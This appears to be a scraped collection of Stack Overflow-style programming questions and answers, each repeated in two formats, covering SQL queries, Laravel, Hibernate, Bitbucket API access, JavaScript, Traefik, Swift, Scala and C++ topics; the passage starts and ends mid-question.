|  1 |        1 | 2017-07-01 | 2017-07-08 |        4 | 110.00 |        15.00 |
|  2 |        1 | 2017-07-01 | 2017-07-08 |       10 | 140.00 |        10.00 |
|  3 |        1 | 2017-07-08 | 2017-07-14 |        4 | 120.00 |        15.00 |
|  4 |        1 | 2017-07-08 | 2017-07-14 |       10 | 150.00 |        10.00 |
|  5 |        1 | 2017-08-05 | 2017-08-12 |        4 | 130.00 |        20.00 |
|  6 |        1 | 2017-08-12 | 2017-08-19 |       10 | 180.00 |        15.00 |
|  7 |        2 | 2017-09-02 | 2017-09-09 |        8 | 210.00 |        30.00 |
|  8 |        2 | 2017-09-09 | 2017-09-16 |        8 | 220.00 |        30.00 |
|  9 |        3 | 2017-07-08 | 2017-07-14 |        6 | 300.00 |        40.00 |
| 10 |        3 | 2017-07-08 | 2017-07-14 |        8 | 360.00 |        50.00 |
| 11 |        4 | 2017-08-05 | 2017-08-12 |        4 |  80.00 |         null |
| 12 |        4 | 2018-08-26 | 2017-09-02 |        4 |  90.00 |         null |
+----+----------+------------+------------+----------+--------+--------------+

SQL dump of this test database can be downloaded here.

The goal

The query that I am trying to compose, should select houses where persons <= max_pers and where the house is available, then grab the ONE price from the prices table that has the lowest amount of allowed max_pers. E.g. when looking up the price for house 1 (Blue house) for 4 persons in the week of 2017-07-01, it should give 110 as the price. The query should return the house id, the price and the additional cost per person.

My efforts

I got as far as returning the house id and the price, grabbing only the correct price.

SELECT h.id AS house_id,
       (SELECT price
           FROM prices AS p
          WHERE p.house_id = h.id
            AND p.from_date = '2017-07-08'
            AND p.to_date = '2017-07-14'
            AND p.max_pers >= 6
         ORDER BY p.max_pers
         LIMIT 1) AS price
  FROM houses AS h
       INNER JOIN availability a
       ON h.id = a.house_id
 WHERE h.max_pers >= 6
   AND (a.from_date <= '2017-07-08'
       AND a.to_date >= '2017-07-14');

Which returns:

+----------+--------+
| house_id | price  |
+----------+--------+
|        1 | 150.00 |
|        3 | 360.00 |
+----------+--------+

So that works, but... I am stuck now on how to add the add_per_pers column from the prices table. I tried to add a JOIN instead of a select ... as. That way I can add the field, but then I cannot limit the data from prices to just the first one.

My best try:

SELECT h.id AS house_id, p.price, p.add_per_pers
  FROM houses AS h
       INNER JOIN availability a
       ON h.id = a.house_id
       INNER JOIN prices p
       ON h.id = p.house_id
 WHERE h.max_pers >= 6
   AND (a.from_date <= '2017-07-08'
       AND a.to_date >= '2017-07-14')
   AND p.from_date = '2017-07-08'
   AND p.to_date = '2017-07-14'
   AND p.max_pers >= 6;

Results in (the third row should not be there)

+----------+--------+--------------+
| house_id | price  | add_per_pers |
+----------+--------+--------------+
|        1 | 150.00 |        10.00 |
|        3 | 300.00 |        40.00 |
|        3 | 360.00 |        50.00 |
+----------+--------+--------------+

Desired result

Please help me to get this desired result:

+----------+--------+--------------+
| house_id | price  | add_per_pers |
+----------+--------+--------------+
|        1 | 150.00 |        10.00 |
|        3 | 360.00 |        40.00 |
+----------+--------+--------------+

SQL Fiddle available here

Body:
Provided scale and precision of prices are fixed this trick will work

SELECT house_id, pp, (pp DIV 10000)/100 price, (pp%10000)/100 add_per_pers
FROM (
SELECT h.id AS house_id,
       (SELECT CAST(price*1000000 + add_per_pers*100 AS UNSIGNED) pp
           FROM prices AS p
          WHERE p.house_id = h.id
            AND p.from_date = '2017-07-08'
            AND p.to_date = '2017-07-14'
            AND p.max_pers >= 6
         ORDER BY p.price
         LIMIT 1) AS pp
  FROM houses AS h
       INNER JOIN availability a
       ON h.id = a.house_id
 WHERE h.max_pers >= 6
   AND (a.from_date <= '2017-07-08'
       AND a.to_date >= '2017-07-14')
  ) t;


问:
Removing elements from list
I have an array of length 900 and I want to remove the last 200 elements. I do not mind creating a new array but I want to code to be an concise and efficient as possible.

```<code>    f = [1,2,3,4,5,3,2,3,2,4,5,2....] #random one digit numbers of length 400.
    t=400
    x=200
    while(t>x):
        f = np.delete(f,t)
        t = t-1
</code>```

while this certainly works, I am looking for something that will preform the same task in less lines or at greater speed.

答:
You can also delete the elements without creating a new list:</p>

```<code>del f[-200:]
</code>```

Title: Removing elements from list

Body:
I have an array of length 900 and I want to remove the last 200 elements. I do not mind creating a new array but I want to code to be an concise and efficient as possible.

    f = [1,2,3,4,5,3,2,3,2,4,5,2....] #random one digit numbers of length 400.
    t=400
    x=200
    while(t>x):
        f = np.delete(f,t)
        t = t-1

while this certainly works, I am looking for something that will preform the same task in less lines or at greater speed.

Body:
You can also delete the elements without creating a new list:

del f[-200:]


问:
How to Fix WHERE Clause in Laravel
I have an issue with Laravel Eloquent when using a WHERE clause.

Code

```<code><?php

$locale = Session::get('locale');

$categories = Category::whereHas('translations', function ($query) use ($locale) {
    $query->where('locale', $locale);
})->get();
</code>```

Generated SQL

```<code>select * from `categories`
    where exists (select * from `category_translations`
        where `category_translations`.`category_id` = `categories`.`id`
        and **`locale` = ?**)
</code>```

It does not register the given value for locale.

I'm also getting the same issue if I put ->where('locale', 'en'), and even if I try a raw query instead of using Eloquent model.

Any help would be much appreciated, thanks.

答: Like SR_ wrote in the comment toSql() function doesn't return variable binding. If you would like to see how the real queries looks like you can install tools like Laravel Debugar: https://github.com/barryvdh/laravel-debugbar</p>

Title: How to Fix WHERE Clause in Laravel

Body:
I have an issue with Laravel Eloquent when using a WHERE clause.

Code

<?php

$locale = Session::get('locale');

$categories = Category::whereHas('translations', function ($query) use ($locale) {
    $query->where('locale', $locale);
})->get();

Generated SQL

select * from `categories`
    where exists (select * from `category_translations`
        where `category_translations`.`category_id` = `categories`.`id`
        and **`locale` = ?**)

It does not register the given value for locale.

I'm also getting the same issue if I put ->where('locale', 'en'), and even if I try a raw query instead of using Eloquent model.

Any help would be much appreciated, thanks.


问:
Calculating age from birthdate with @Formula
I'm trying to calculate the user's age from her birthdate, using @Formula.

According MySQL documentation, I have tried this:

```<code>@Entity
@Table(name = "users")
public final class UserProfile {

   //this column is called BIRTHDATE in database
   private String birthdate;

    @Formula("(select TIMESTAMPDIFF(YEAR,BIRTHDATE,CURDATE()) from users)")
    private String age;

    //more things...

}
</code>```

But I get an error:

java.sql.SQLSyntaxErrorException: You have an error in your SQL
  syntax; check the manual that corresponds to your MariaDB server
  version for the right syntax to use near
  'userprofil0_.YEAR,userprofil0_.BIRTHDATE,CURDATE()) from users) as
  formula0_0_ f' at line 1

If I execute that query in phpMyAdmin, it works properly.

Following this, I have also tried with:

```<code>@Formula("date_part('year', age(birthdate))")
private String age; //I tried with int instead of String, too
</code>```

But I have this error:

java.sql.SQLSyntaxErrorException: FUNCTION
  userprofile-service-db.date_part does not exist

This one does not work even in phpMyAdmin...

Any idea?

EDIT

I have just tried with:

```<code>@Formula("(TIMESTAMPDIFF(YEAR,BIRTHDATE,CURDATE()))")
private String age;
</code>```

but is still not working. This is the query that Hibernate shows:

```<code> select
        userprofil0_.id as id1_1_0_,
        userprofil0_.about_me as about_me2_1_0_,
        userprofil0_.birthdate as birthdat3_1_0_,
        userprofil0_.display_name as display_4_1_0_,
        userprofil0_.email as email5_1_0_,
        userprofil0_.profile_photo as profile_6_1_0_,
        (TIMESTAMPDIFF(userprofil0_.YEAR,
        userprofil0_.BIRTHDATE,
        CURDATE())) as formula0_0_
    from
        users userprofil0_
    where
        userprofil0_.id=?
</code>```

It looks like Hibernate is taking YEAR as a column, but actually it is a reserved word. If I execute that query in phpMyAdmin replacing userprofil0_.YEAR with just YEAR, it works fine.

答:
Your first attempt was almost right, but you don't need select and from parts since column BITHDATE is in the same table:

```<code>@Formula("(TIMESTAMPDIFF(YEAR,BIRTHDATE,CURDATE()))")
private String age;
</code>```

Also would be useful to turn on the logging of generated SQL query (in Hibernate it's done by setting property show_sql to true), to see the whole query.

UPDATE

As a workaround of the treating YEAR as a column name by Hibernate you can wrap call to TIMESTAMPDIFF in a custom MySQL function and call this function in Formula. Here is the SO answer to a similar problem.

Another solution could be to write a custom dialect resolver, which will treat YEAR as a keyword: SO answer

Body:
I'm trying to calculate the user's age from her birthdate, using @Formula.

According MySQL documentation, I have tried this:

@Entity
@Table(name = "users")
public final class UserProfile {

   //this column is called BIRTHDATE in database
   private String birthdate;

    @Formula("(select TIMESTAMPDIFF(YEAR,BIRTHDATE,CURDATE()) from users)")
    private String age;

    //more things...

}

But I get an error:

java.sql.SQLSyntaxErrorException: You have an error in your SQL
  syntax; check the manual that corresponds to your MariaDB server
  version for the right syntax to use near
  'userprofil0_.YEAR,userprofil0_.BIRTHDATE,CURDATE()) from users) as
  formula0_0_ f' at line 1

If I execute that query in phpMyAdmin, it works properly.

Following this, I have also tried with:

@Formula("date_part('year', age(birthdate))")
private String age; //I tried with int instead of String, too

But I have this error:

java.sql.SQLSyntaxErrorException: FUNCTION
  userprofile-service-db.date_part does not exist

This one does not work even in phpMyAdmin...

Any idea?

EDIT

I have just tried with:

@Formula("(TIMESTAMPDIFF(YEAR,BIRTHDATE,CURDATE()))")
private String age;

but is still not working. This is the query that Hibernate shows:

 select
        userprofil0_.id as id1_1_0_,
        userprofil0_.about_me as about_me2_1_0_,
        userprofil0_.birthdate as birthdat3_1_0_,
        userprofil0_.display_name as display_4_1_0_,
        userprofil0_.email as email5_1_0_,
        userprofil0_.profile_photo as profile_6_1_0_,
        (TIMESTAMPDIFF(userprofil0_.YEAR,
        userprofil0_.BIRTHDATE,
        CURDATE())) as formula0_0_
    from
        users userprofil0_
    where
        userprofil0_.id=?

It looks like Hibernate is taking YEAR as a column, but actually it is a reserved word. If I execute that query in phpMyAdmin replacing userprofil0_.YEAR with just YEAR, it works fine.

Body:
Your first attempt was almost right, but you don't need select and from parts since column BITHDATE is in the same table:

@Formula("(TIMESTAMPDIFF(YEAR,BIRTHDATE,CURDATE()))")
private String age;

Also would be useful to turn on the logging of generated SQL query (in Hibernate it's done by setting property show_sql to true), to see the whole query.

UPDATE

As a workaround of the treating YEAR as a column name by Hibernate you can wrap call to TIMESTAMPDIFF in a custom MySQL function and call this function in Formula. Here is the SO answer to a similar problem.

Another solution could be to write a custom dialect resolver, which will treat YEAR as a keyword: SO answer


问:
How to access bitbucket using app password
I have created an app password as explained here

But now, how do I access the repository using this app password?
What will be the url?
Can someone direct me to a page showing an example please?

The below is a code for github. How do I do it for bitbucket?

```<code>var githubToken = "[token]";
var url = "https://github.com/[username]/[repository]/archive/[sha1|tag].zip";
var path = @"[local path]";

using (var client = new System.Net.Http.HttpClient())
{
    var credentials = string.Format(System.Globalization.CultureInfo.InvariantCulture, "{0}:", githubToken);
    credentials = Convert.ToBase64String(System.Text.Encoding.ASCII.GetBytes(credentials));
    client.DefaultRequestHeaders.Authorization = new System.Net.Http.Headers.AuthenticationHeaderValue("Basic", credentials);
    var contents = client.GetByteArrayAsync(url).Result;
    System.IO.File.WriteAllBytes(path, contents);
}
</code>```

Update

Go to Personal Settings and then App Passwords as shown below.

答:
You can perform this request as follows:

```<code>curl -u "walery2iq:<appPassword>" "https://api.bitbucket.org/2.0/repositories/[yourRepo]"
</code>```

Important thing here - use your username, not e-mail address.
Important because for login on bitbucket itself you are using e-mail and not username :D

You can find your username here:

Settings -> Account settings -> Username

See picture.

Body:
I have created an app password as explained here

But now, how do I access the repository using this app password?
What will be the url?
Can someone direct me to a page showing an example please?

The below is a code for github. How do I do it for bitbucket?

var githubToken = "[token]";
var url = "https://github.com/[username]/[repository]/archive/[sha1|tag].zip";
var path = @"[local path]";

using (var client = new System.Net.Http.HttpClient())
{
    var credentials = string.Format(System.Globalization.CultureInfo.InvariantCulture, "{0}:", githubToken);
    credentials = Convert.ToBase64String(System.Text.Encoding.ASCII.GetBytes(credentials));
    client.DefaultRequestHeaders.Authorization = new System.Net.Http.Headers.AuthenticationHeaderValue("Basic", credentials);
    var contents = client.GetByteArrayAsync(url).Result;
    System.IO.File.WriteAllBytes(path, contents);
}

Update

Go to Personal Settings and then App Passwords as shown below.

Body:
You can perform this request as follows:

curl -u "walery2iq:<appPassword>" "https://api.bitbucket.org/2.0/repositories/[yourRepo]"

Important thing here - use your username, not e-mail address.
Important because for login on bitbucket itself you are using e-mail and not username :D

You can find your username here:

Settings -> Account settings -> Username

See picture.


问:
Javascript how do I change javascript array format?
I am creating a file upload operation where I'll retrieve content of file and perform some function with them.

I ask users to enter data in the format below in an excel sheet and save the excel file as a CSV file.

 Then I use this function to read an display the file content.

```<code>    var fileInput = document.getElementById("csv");

      readFile = function () {

              console.log("file uploaded");
              var reader = new FileReader();
              reader.onload = function () {
            reader.readAsBinaryString(fileInput.files[0]);
            };
            }
            if (fileInput){
                fileInput.addEventListener('change', readFile);
            }
</code>```

the function output this image.

what I have not been able to figure out is how do I convert and arrange from the file output format to the desired output format.

var numbers = [75799757,9744710,79989647,99029704,];

答:
var numbers = [75799757,9744710,79989647,99029704];
var str="";

numbers.forEach(function(number){
 str += number + ", ";
});

var newStr = str.substring(0, str.length-2);

document.write(newStr);```

Body:
I am creating a file upload operation where I'll retrieve content of file and perform some function with them.

I ask users to enter data in the format below in an excel sheet and save the excel file as a CSV file.

 Then I use this function to read an display the file content.

    var fileInput = document.getElementById("csv");

      readFile = function () {

              console.log("file uploaded");
              var reader = new FileReader();
              reader.onload = function () {
            reader.readAsBinaryString(fileInput.files[0]);
            };
            }
            if (fileInput){
                fileInput.addEventListener('change', readFile);
            }

the function output this image.

what I have not been able to figure out is how do I convert and arrange from the file output format to the desired output format.

var numbers = [75799757,9744710,79989647,99029704,];


问:
Example of kendo-ui / treeview with json
I want to generate a treeview with a data that I get through a procedure

enter image description here

This would become my json that generates me.

enter image description here

This way I bring my data, so I saw in example use a .json file that is not my case.

I would like help with it. First of all, Thanks!

答:
It's so easy, just think about another way. You are sending data from the server as a JSON response, instead of that use that send a String/Variable and use that in your view directly. You have to use your Result array(in controller to generate the sring).
For example:-

Consider $Items-->Is your result array.

```<code>foreach($items as item)
{
   $dataSource='[
                    { text: "Furniture", expanded: true, items: [
                        { text: "Tables & Chairs" },
                        { text: "Sofas" },
                        { text: "Occasional Furniture" }
                    ] },
                    { text: "Decor", items: [
                        { text: "Bed Linen" },
                        { text: "Curtains & Blinds" },
                        { text: "Carpets" }
                    ] }
                ]';
}
</code>```

Better you use a recursive function to get the string and save that string to data source variable.

If still this is not clear to you then let me know, I will clearly write some block of code for you.

Body:
It's so easy, just think about another way. You are sending data from the server as a JSON response, instead of that use that send a String/Variable and use that in your view directly. You have to use your Result array(in controller to generate the sring).
For example:-

Consider $Items-->Is your result array.

foreach($items as item)
{
   $dataSource='[
                    { text: "Furniture", expanded: true, items: [
                        { text: "Tables & Chairs" },
                        { text: "Sofas" },
                        { text: "Occasional Furniture" }
                    ] },
                    { text: "Decor", items: [
                        { text: "Bed Linen" },
                        { text: "Curtains & Blinds" },
                        { text: "Carpets" }
                    ] }
                ]';
}

Better you use a recursive function to get the string and save that string to data source variable.

If still this is not clear to you then let me know, I will clearly write some block of code for you.


问:
Issue defining traefik labelselector in traefik.toml vs. container arg
I have a traefik.toml file defined as part of my traefik configmap. The snippet below is the kubernetes endpoint configuration with a labelselector defined:

```<code>[kubernetes]
  labelselector = "expose=internal"
</code>```

When I check the traefik status page in this configuration, I see all ingresses listed, not just those with the label "expose: internal" defined.

If I set the kubernetes.labelselector as a container argument to my deployment, however, only the ingresses with the matching label are displayed on the traefik status page as expected:

```<code>- --kubernetes.labelselector=expose=internal
</code>```

According to the Kubernetes Ingress Backend documentation, any label selector format valid in the label selector section of the Labels and Selectors should be valid in the traefik.toml file. I have experimented with both the equality baed (as shown above) and the set-based (to determine if the "expose" label is present, only), neither of which have worked in the toml. The set-based does not seem to work in the container args, but the equality statements do.

I'm assuming there is some issue related to how I've formatted the kubernetes endpoint within the traefik.toml file. Before reporting this issue to github I was hoping someone could clarify the documentation and/or correct any mistakes I've made in the toml file format.

答:
The problem appears to be the mixing and matching of command line arguments and toml options.

After reading over a few bug reports and some additional misc. documentation I realized that we had enabled the kubernetes backend passing the --kubernetes argument to the traefik container. I realized that defining [kubernetes] in the toml was also enabling the kubernetes backend. On a hunch I removed the command line argument and put the full kubernetes backend config in the toml and everything works as expected.

I'm not sure if this is expected behavior or not but this behavior would seem to suggest it's designed in such a way that command line arguments take precedence over toml config options when duplicate options are provided.

Body:
I have a traefik.toml file defined as part of my traefik configmap. The snippet below is the kubernetes endpoint configuration with a labelselector defined:

[kubernetes]
  labelselector = "expose=internal"

When I check the traefik status page in this configuration, I see all ingresses listed, not just those with the label "expose: internal" defined.

If I set the kubernetes.labelselector as a container argument to my deployment, however, only the ingresses with the matching label are displayed on the traefik status page as expected:

- --kubernetes.labelselector=expose=internal

According to the Kubernetes Ingress Backend documentation, any label selector format valid in the label selector section of the Labels and Selectors should be valid in the traefik.toml file. I have experimented with both the equality baed (as shown above) and the set-based (to determine if the "expose" label is present, only), neither of which have worked in the toml. The set-based does not seem to work in the container args, but the equality statements do.

I'm assuming there is some issue related to how I've formatted the kubernetes endpoint within the traefik.toml file. Before reporting this issue to github I was hoping someone could clarify the documentation and/or correct any mistakes I've made in the toml file format.


问:
How to escape the double quotes and open brackets in laravel?

I tried to get the value from the Bus Stop Table which is the same id by using

```<code>{{ \App\Busstop::where('id',$order->bus_stops)->pluck('busstop') }}
</code>```

But this codes is showing me like the json data or curly brackets.I only want to get plain words witout double quotes and curly brackets.

答:
You can use implode instead of pluck like so :

```<code>{{ \App\Busstop::where('id',$order->bus_stops)->implode('busstop', ', '); }}
</code>```

Body:
I tried to get the value from the Bus Stop Table which is the same id by using

{{ \App\Busstop::where('id',$order->bus_stops)->pluck('busstop') }}

But this codes is showing me like the json data or curly brackets.I only want to get plain words witout double quotes and curly brackets.

Body:
You can use implode instead of pluck like so :

{{ \App\Busstop::where('id',$order->bus_stops)->implode('busstop', ', '); }}


问:
Problem running my signed, release keystore in Eclipse
I am unable to run my signed, release keystore in Eclipse:

I get the error:

```<code>Keystore was tampered with, or password was incorrect
</code>```

How can I resolve this?

Here is the error:

Here is me successfully signing the keystore:

答:
In Windows->Preferences->Android->Build you can just change your DEBUG KEYSTORE. The Keystore you specify there, is not for signing an app for release, but just for debugging.

Like the default debug keystore, the custom debug keystore needs to have the following:

```<code>Keystore password: "android"
Key alias: "androiddebugkey"
Key password: "android"
</code>```

Except for the name of the keystore itself, information about the organizational units and the key behind the alias, all data have to be same as the  default debug keystore

Body:
I am unable to run my signed, release keystore in Eclipse:

I get the error:

Keystore was tampered with, or password was incorrect

How can I resolve this?

Here is the error:

Here is me successfully signing the keystore:

Body:
In Windows->Preferences->Android->Build you can just change your DEBUG KEYSTORE. The Keystore you specify there, is not for signing an app for release, but just for debugging.

Like the default debug keystore, the custom debug keystore needs to have the following:

Keystore password: "android"
Key alias: "androiddebugkey"
Key password: "android"

Except for the name of the keystore itself, information about the organizational units and the key behind the alias, all data have to be same as the  default debug keystore


答:
I would associative array for (fast) lookup/storing encountered values.</p>

```<code>var inputArray = [1, 2 ,3 ,4 ,5 ,6 ,6 ,7 ,8 ,9];
var encounteredIndices = {};

for(var i = 0; i < inputArray.length; i++)
  if (encounteredIndices[inputArray[i]])
    console.log(i); // Or add to some array if you wish
  else
    encounteredIndices[inputArray[i]] = 1;
</code>```

Title: Printing index of duplicate numbers in array javascript

Body:
I need to find the first duplicate number in array and then print index of this number in console. In my code below I reach the moment when code finds the duplicate but prints its index. In simple words, 2 is duplictaing in array but it's stands in first place so I need to print index "0".

var sameNum = [2, 4, 5, 2, 3, 5, 1, 2, 4];
var firstIndex = [];

for (var i = 0; i < sameNum.length; i++) {
  for (var j = i; j < sameNum.length; j++) {
    if (i != j && sameNum[i] == sameNum[j]) {
      firstIndex = [i];
    }
  }
}
console.log(firstIndex);

Body:
I would associative array for (fast) lookup/storing encountered values.

var inputArray = [1, 2 ,3 ,4 ,5 ,6 ,6 ,7 ,8 ,9];
var encounteredIndices = {};

for(var i = 0; i < inputArray.length; i++)
  if (encounteredIndices[inputArray[i]])
    console.log(i); // Or add to some array if you wish
  else
    encounteredIndices[inputArray[i]] = 1;


问:
How to show touch bar in a viewcontroller
I want to develop an app with touch bar. I searched on internet and saw some tutorials. They all make a demo with windowcontroller and  just override makeTouchBar() or drag touchbar in storyboard then there is a touchbar. But I want to make touchbar be different in viewcontroller. Then I draged a touchbar into a viewcontroller in storyboard and bind the touchbar in viewcontroller.

bind(#keyPath(touchBar), to: self, withKeyPath: #keyPath(touchBar), options: nil)

But when I run the project I can't find my touchbar and then I print touchbar.isVisible and I found that the value is false.

So how to show a touchbar in a viewcontroller. Thanks!

答:
Actually Loys' answer is right.

NSTouchBar discovery by the system proceeds as shown from bottom-to-top in this list:

App delegate

App object

Main window’s controller

Main window’s delegate

Main window

Main window’s first responder

Key window’s controller

Key window’s delegate

Key window

Key window’s first responder

Which means it will try to find in the windowcontroller or app delegate.

But you can overrite it, put these code in the viwController to unbind window's touchBar and bind it to the view.

```<code> deinit {
        self.view.window?.unbind(#keyPath(touchBar))
    }

    override func viewDidAppear() {
        super.viewDidAppear()
        if #available(OSX 10.12.1, *) {
           self.view.window?.unbind(#keyPath(touchBar)) // unbind first
           self.view.window?.bind(#keyPath(touchBar), to: self, withKeyPath: #keyPath(touchBar), options: nil)
        }
    }
</code>```

Refer from:

NSTouchBar Documentation

WWDC Sample Code -> In this example, it bind nstouchbar to view controller.

Body:
Actually Loys' answer is right.

NSTouchBar discovery by the system proceeds as shown from bottom-to-top in this list:

App delegate

App object

Main window’s controller

Main window’s delegate

Main window

Main window’s first responder

Key window’s controller

Key window’s delegate

Key window

Key window’s first responder

Which means it will try to find in the windowcontroller or app delegate.

But you can overrite it, put these code in the viwController to unbind window's touchBar and bind it to the view.

 deinit {
        self.view.window?.unbind(#keyPath(touchBar))
    }

    override func viewDidAppear() {
        super.viewDidAppear()
        if #available(OSX 10.12.1, *) {
           self.view.window?.unbind(#keyPath(touchBar)) // unbind first
           self.view.window?.bind(#keyPath(touchBar), to: self, withKeyPath: #keyPath(touchBar), options: nil)
        }
    }

Refer from:

NSTouchBar Documentation

WWDC Sample Code -> In this example, it bind nstouchbar to view controller.


问:
Insertion sort implementation in scala
I'm trying out Scala and I want to see how one would implement insertion sort in scala with the following requirements:

Nested for loops

Array[Int] for input

If possible a way to modify the contents of the function in a call by reference way otherwise return an Array[Int]

If this isn't the Scala way of implementing insertion sort can you still provide code for the above and explain what is wrong with the approach.
edit:
This is an attempt using a while loop (doest work) and no it isn't a homework question, why the hostility?

```<code>def insert_sort(a:Array[Int]):Array[Int]={
for(i <- 0 until a.length)
{
  var j=i+1

  while(j>1&&a(j)<a(j-1)&&j<a.length)
  {
      var c=a(j)
      a(j)=a(j-1)
      a(j-1)=c
      j-=1
  }
}
return a
}
</code>```

答:
The most elegant insertion sort algorithm implementation that I'we  seen so far:

```<code>val rand = List(5,3,1,2)

def isort(xs: List[Int]): List[Int] =
  if (xs.isEmpty) Nil
  else insert(xs.head, isort(xs.tail))

def insert(x: Int, xs: List[Int]): List[Int] =
  if (xs.isEmpty || x <= xs.head) x :: xs
  else xs.head :: insert(x, xs.tail)

isort(rand) // Produces List(1,2,3,5)
</code>```

Algorithm implementation is taken from this great book: https://www.artima.com/shop/programming_in_scala_3ed

Title: Insertion sort implementation in scala

Body:
I'm trying out Scala and I want to see how one would implement insertion sort in scala with the following requirements:

Nested for loops

Array[Int] for input

If possible a way to modify the contents of the function in a call by reference way otherwise return an Array[Int]

If this isn't the Scala way of implementing insertion sort can you still provide code for the above and explain what is wrong with the approach.
edit:
This is an attempt using a while loop (doest work) and no it isn't a homework question, why the hostility?

def insert_sort(a:Array[Int]):Array[Int]={
for(i <- 0 until a.length)
{
  var j=i+1

  while(j>1&&a(j)<a(j-1)&&j<a.length)
  {
      var c=a(j)
      a(j)=a(j-1)
      a(j-1)=c
      j-=1
  }
}
return a
}

Body:
The most elegant insertion sort algorithm implementation that I'we  seen so far:

val rand = List(5,3,1,2)

def isort(xs: List[Int]): List[Int] =
  if (xs.isEmpty) Nil
  else insert(xs.head, isort(xs.tail))

def insert(x: Int, xs: List[Int]): List[Int] =
  if (xs.isEmpty || x <= xs.head) x :: xs
  else xs.head :: insert(x, xs.tail)

isort(rand) // Produces List(1,2,3,5)

Algorithm implementation is taken from this great book: https://www.artima.com/shop/programming_in_scala_3ed


问:
Is there any reason C++ 11+ std::mutex should be declared as a global variable instead of passed into a std::thread as a function parameter?
I've seen most examples using std::mutex where the mutex is global.  I was wondering is there any specific reason why this is done?  I've had programs of my own where I don't do this, and simply pass the mutex in as a std::thread std::ref.  Isn't it bad practice to have globals, what is the rational behind global std::mutexes in C++ if there is no language restricting reason to do this?

答:
It's bad practice to have globals except when it isn't. For example, std::cin is global.

Mutexes are in a sense global, regardless of how you make them available. They're shared between disparate pieces of code. So you can make them globals, or you can pass them down the call chain, through functions that don't use them, until you eventually reach someone who does. That's known as "tramp data" and it's also "bad practice". Choose your poison.


问:
'X' Pattern in SQL
I am trying to generate a X pattern in SQL like below:

```<code>100001
010010
001100
010010
100001
</code>```

It's a Grid Structure of 5x6 : 5 records with a value of 6 digits.

It may have dynamic grid of a given even number like 4, 8.

Any ideas will be really helpful.

I was trying something like below, Pattern:

```<code>select rpad('1',level, '1') from dual connect by level <= 5
</code>```

But this would only form a right angle triangle

```<code>1
11
111
1111
11111
</code>```

答:
Using the recursiveness of a connect is a nice method.

The query below will generate an X in grid.

With a size you can choose by changing the number in the inner query.

```<code>select lpad('1',y,'0')||rpad('0',n-y*2,'0')||rpad('1',y,'0') as X
from (
   select level as lvl, n, case when level<n/2 then level else n-level end as y
   from (select 6 as n from dual)
   connect by level < n
)
order by lvl
</code>```

The subquery will generate numbers based on n.

For example, if n = 6 then the subquery will generate:

```<code>lvl n  y
--- -- --
1   6  1
1   6  2
3   6  3
4   6  2
5   6  1
</code>```

Then in the outer query those n and y numbers are used to calculate the amount of 0 to pad to the left, the middle and the right side.

When using 8 for n it generates the following grid:

```<code>10000001
01000010
00100100
00011000
00100100
01000010
10000001
</code>```

To make it work also for the uneven numbers a few (mod)ifications are needed.

```<code>select lpad('1',y,'0')||rpad('0',n-y*2,'0')||case when mod(n,2) = 1 and lvl = trunc(n/2)+1 then rpad('0',y-1,'0') else rpad('1',y,'0') end as X
from (
   select level as lvl, n, case when level<trunc(n/2)+mod(n,2) then level else n+mod(n,2)-level end as y
   from (select 5 as n from dual)
   connect by level < (case when mod(n,2) = 1 then n+1 else n end)
) q
order by lvl
</code>```

For n = 5 that would generate:

```<code>10001
01010
00100
01010
10001
</code>```

Title: 'X' Pattern in SQL

Body:
I am trying to generate a X pattern in SQL like below:

100001
010010
001100
010010
100001

It's a Grid Structure of 5x6 : 5 records with a value of 6 digits.

It may have dynamic grid of a given even number like 4, 8.

Any ideas will be really helpful.

I was trying something like below, Pattern:

select rpad('1',level, '1') from dual connect by level <= 5

But this would only form a right angle triangle

1
11
111
1111
11111

Body:
Using the recursiveness of a connect is a nice method.

The query below will generate an X in grid.

With a size you can choose by changing the number in the inner query.

select lpad('1',y,'0')||rpad('0',n-y*2,'0')||rpad('1',y,'0') as X
from (
   select level as lvl, n, case when level<n/2 then level else n-level end as y
   from (select 6 as n from dual)
   connect by level < n
)
order by lvl

The subquery will generate numbers based on n.

For example, if n = 6 then the subquery will generate:

lvl n  y
--- -- --
1   6  1
1   6  2
3   6  3
4   6  2
5   6  1

Then in the outer query those n and y numbers are used to calculate the amount of 0 to pad to the left, the middle and the right side.

When using 8 for n it generates the following grid:

10000001
01000010
00100100
00011000
00100100
01000010
10000001

To make it work also for the uneven numbers a few (mod)ifications are needed.

select lpad('1',y,'0')||rpad('0',n-y*2,'0')||case when mod(n,2) = 1 and lvl = trunc(n/2)+1 then rpad('0',y-1,'0') else rpad('1',y,'0') end as X
from (
   select level as lvl, n, case when level<trunc(n/2)+mod(n,2) then level else n+mod(n,2)-level end as y
   from (select 5 as n from dual)
   connect by level < (case when mod(n,2) = 1 then n+1 else n end)
) q
order by lvl

For n = 5 that would generate:

10001
01010
00100
01010
10001


问:
Reference object when destructuring
I'm playing with destructuring:

```<code>function create(){
 let obj={a:1,b:2}
obj.self=obj
 return obj
}
const {a,self} = create()
</code>```

Is there a way to get the self object without adding such a property ?

```<code>function create(){
 let obj={a:1,b:2}
// removes   obj.self=obj
 return obj
}
const {a,this} = create()
</code>```

In one line of code if possible!

Thank you in advance for your help.

答:
You can wrap your create return value inside a temporary outer object, and then access the original object by property name from the outer object. This still allows you to pull out properties from the original object as well.

```<code>const {me:{a}, me} = {me:create()}
</code>```

This will create the variable a using the property a from the object, and create the variable me which holds the entire object.

Or, to name it something other than the property name from the outer object (e.g., foo instead of me):

```<code>const {me:{a}, me:foo} = {me:create()}
</code>```

This still requires making an additional property, but the property exists on the instantly-disposed wrapper object. This can be done entirely external to create so you don't need to touch the process of how the create function operates just to make it destructuring-friendly.

Title: Reference object when destructuring

Body:
I'm playing with destructuring:

function create(){
 let obj={a:1,b:2}
obj.self=obj
 return obj
}
const {a,self} = create()

Is there a way to get the self object without adding such a property ?

function create(){
 let obj={a:1,b:2}
// removes   obj.self=obj
 return obj
}
const {a,this} = create()

In one line of code if possible!

Thank you in advance for your help.

Body:
You can wrap your create return value inside a temporary outer object, and then access the original object by property name from the outer object. This still allows you to pull out properties from the original object as well.

const {me:{a}, me} = {me:create()}

This will create the variable a using the property a from the object, and create the variable me which holds the entire object.

Or, to name it something other than the property name from the outer object (e.g., foo instead of me):

const {me:{a}, me:foo} = {me:create()}

This still requires making an additional property, but the property exists on the instantly-disposed wrapper object. This can be done entirely external to create so you don't need to touch the process of how the create function operates just to make it destructuring-friendly.


问:
Manipulating Time Series data in Google-cloud library
I am trying to get data from a custom Stackdriver metric using the Google-Cloud Python library, but beyond returning it as a pandas dataframe I can't get the values I need.

For example the query, which looks something like:

